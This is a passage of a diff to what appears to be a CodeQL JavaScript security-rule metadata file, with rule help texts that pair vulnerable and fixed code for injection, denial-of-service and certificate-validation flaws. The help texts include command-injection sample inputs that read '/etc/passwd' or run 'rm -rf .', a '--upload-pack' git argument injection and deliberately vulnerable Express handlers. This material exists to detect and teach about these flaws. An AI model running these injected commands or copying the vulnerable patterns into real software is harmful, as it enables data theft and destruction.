should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-611", "external/cwe/cwe-827" ], - "description" : "Parsing user input as an XML document with external\n entity expansion is vulnerable to XXE attacks.", - "id" : "js/xxe", - "kind" : "path-problem", - "name" : "XML external entity expansion", - "precision" : "high", + "tags" : [ "security", "external/cwe/cwe-295", "external/cwe/cwe-297" ], + "description" : "Disabling cryptographic certificate validation can cause security vulnerabilities.", + "id" : "js/disabling-certificate-validation", + "kind" : "problem", + "name" : "Disabling certificate validation", + "precision" : "very-high", "problem.severity" : "error", - "security-severity" : "9.1" + "security-severity" : "7.5" } }, { - "id" : "js/insecure-randomness", - "name" : "js/insecure-randomness", + "id" : "js/template-object-injection", + "name" : "js/template-object-injection", "shortDescription" : { - "text" : "Insecure randomness" + "text" : "Template Object Injection" }, "fullDescription" : { - "text" : "Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value may allow an attacker to predict what value will be generated." + "text" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n // BAD: the random suffix is not cryptographically secure\n var suffix = Math.random();\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n // GOOD: the random suffix is cryptographically secure\n var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n", - "markdown" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n // BAD: the random suffix is not cryptographically secure\n var suffix = Math.random();\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n // GOOD: the random suffix is cryptographically secure\n var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n var password = \"myPassword\" + suffix;\n return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n" + "text" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', {\n name: profile.name,\n location: profile.location\n });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n", + "markdown" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', {\n name: profile.name,\n location: profile.location\n });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-338" ], - "description" : "Using a cryptographically weak pseudo-random number generator to generate a\n security-sensitive value may allow an attacker to predict what value will\n be generated.", - "id" : "js/insecure-randomness", + "tags" : [ "security", "external/cwe/cwe-073", "external/cwe/cwe-094" ], + "description" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution.", + "id" : "js/template-object-injection", "kind" : "path-problem", - "name" : "Insecure randomness", + "name" : "Template Object Injection", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "7.8" + "problem.severity" : "error", + "security-severity" : "9.3" } }, { "id" : "js/insufficient-key-size", @@ -1380,139 +1542,139 @@ "security-severity" : "7.5" } }, { - "id" : "js/shell-command-injection-from-environment", - "name" : "js/shell-command-injection-from-environment", + "id" : "js/loop-bound-injection", + "name" : "js/loop-bound-injection", "shortDescription" : { - "text" : "Shell command built from environment values" + "text" : "Loop bound injection" }, "fullDescription" : { - "text" : "Building a shell command string with values from the enclosing environment may cause subtle bugs or vulnerabilities." + "text" : "Iterating over an object with a user-controlled .length property can cause indefinite looping." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm\",\n args = [\"-rf\", path.join(__dirname, \"temp\")];\n cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", - "markdown" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n path = require(\"path\");\nfunction cleanupTemp() {\n let cmd = \"rm\",\n args = [\"-rf\", path.join(__dirname, \"temp\")];\n cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" + "text" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n\n var ret = [];\n\n // Potential DoS if obj.length is large.\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n \n if (!(obj instanceof Array)) { // Prevents DoS.\n return [];\n }\n\n var ret = [];\n\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n", + "markdown" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n\n var ret = [];\n\n // Potential DoS if obj.length is large.\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n var obj = req.body;\n \n if (!(obj instanceof Array)) { // Prevents DoS.\n return [];\n }\n\n var ret = [];\n\n for (var i = 0; i < obj.length; i++) {\n ret.push(obj[i]);\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], - "description" : "Building a shell command string with values from the enclosing\n environment may cause subtle bugs or vulnerabilities.", - "id" : "js/shell-command-injection-from-environment", + "tags" : [ "security", "external/cwe/cwe-834", "external/cwe/cwe-730" ], + "description" : "Iterating over an object with a user-controlled .length\n property can cause indefinite looping.", + "id" : "js/loop-bound-injection", "kind" : "path-problem", - "name" : "Shell command built from environment values", + "name" : "Loop bound injection", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "6.3" + "security-severity" : "7.5" } }, { - "id" : "js/second-order-command-line-injection", - "name" : "js/second-order-command-line-injection", + "id" : "js/regex-injection", + "name" : "js/regex-injection", "shortDescription" : { - "text" : "Second order command injection" + "text" : "Regular expression injection" }, "fullDescription" : { - "text" : "Using user-controlled data as arguments to some commands, such as git clone, can allow arbitrary commands to be executed." + "text" : "User input should not be used in regular expressions without first being escaped, otherwise a malicious user may be able to inject an expression that could require exponential time on certain inputs." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n throw new Error(\"Invalid remote: \" + remote);\n }\n cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", - "markdown" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n throw new Error(\"Invalid remote: \" + remote);\n }\n cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" + "text" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // BAD: Unsanitized user input is used to construct a regular expression\n var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // GOOD: User input is sanitized before constructing the regex\n var safeKey = _.escapeRegExp(key);\n var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", + "markdown" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // BAD: Unsanitized user input is used to construct a regular expression\n var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // GOOD: User input is sanitized before constructing the regex\n var safeKey = _.escapeRegExp(key);\n var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], - "description" : "Using user-controlled data as arguments to some commands, such as git clone,\n can allow arbitrary commands to be executed.", - "id" : "js/second-order-command-line-injection", + "tags" : [ "security", "external/cwe/cwe-730", "external/cwe/cwe-400" ], + "description" : "User input should not be used in regular expressions without first being escaped,\n otherwise a malicious user may be able to inject an expression that could require\n exponential time on certain inputs.", + "id" : "js/regex-injection", "kind" : "path-problem", - "name" : "Second order command injection", + "name" : "Regular expression injection", "precision" : "high", "problem.severity" : "error", - "security-severity" : "7.0" + "security-severity" : "7.5" } }, { - "id" : "js/command-line-injection", - "name" : "js/command-line-injection", + "id" : "js/server-crash", + "name" : "js/server-crash", "shortDescription" : { - "text" : "Uncontrolled command line" + "text" : "Server crash" }, "fullDescription" : { - "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command." + "text" : "A server that can be forced to crash may be vulnerable to denial-of-service attacks." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url'),\n shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n let options = url.parse(req.url, true).query.options;\n\n cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n // only allow safe characters in file name\n if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n cp.execSync(`wc -l ${file}`); // GOOD\n }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", - "markdown" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url'),\n shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n let options = url.parse(req.url, true).query.options;\n\n cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n http = require('http'),\n url = require('url');\n\nvar server = http.createServer(function(req, res) {\n let file = url.parse(req.url, true).query.path;\n\n // only allow safe characters in file name\n if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n cp.execSync(`wc -l ${file}`); // GOOD\n }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness 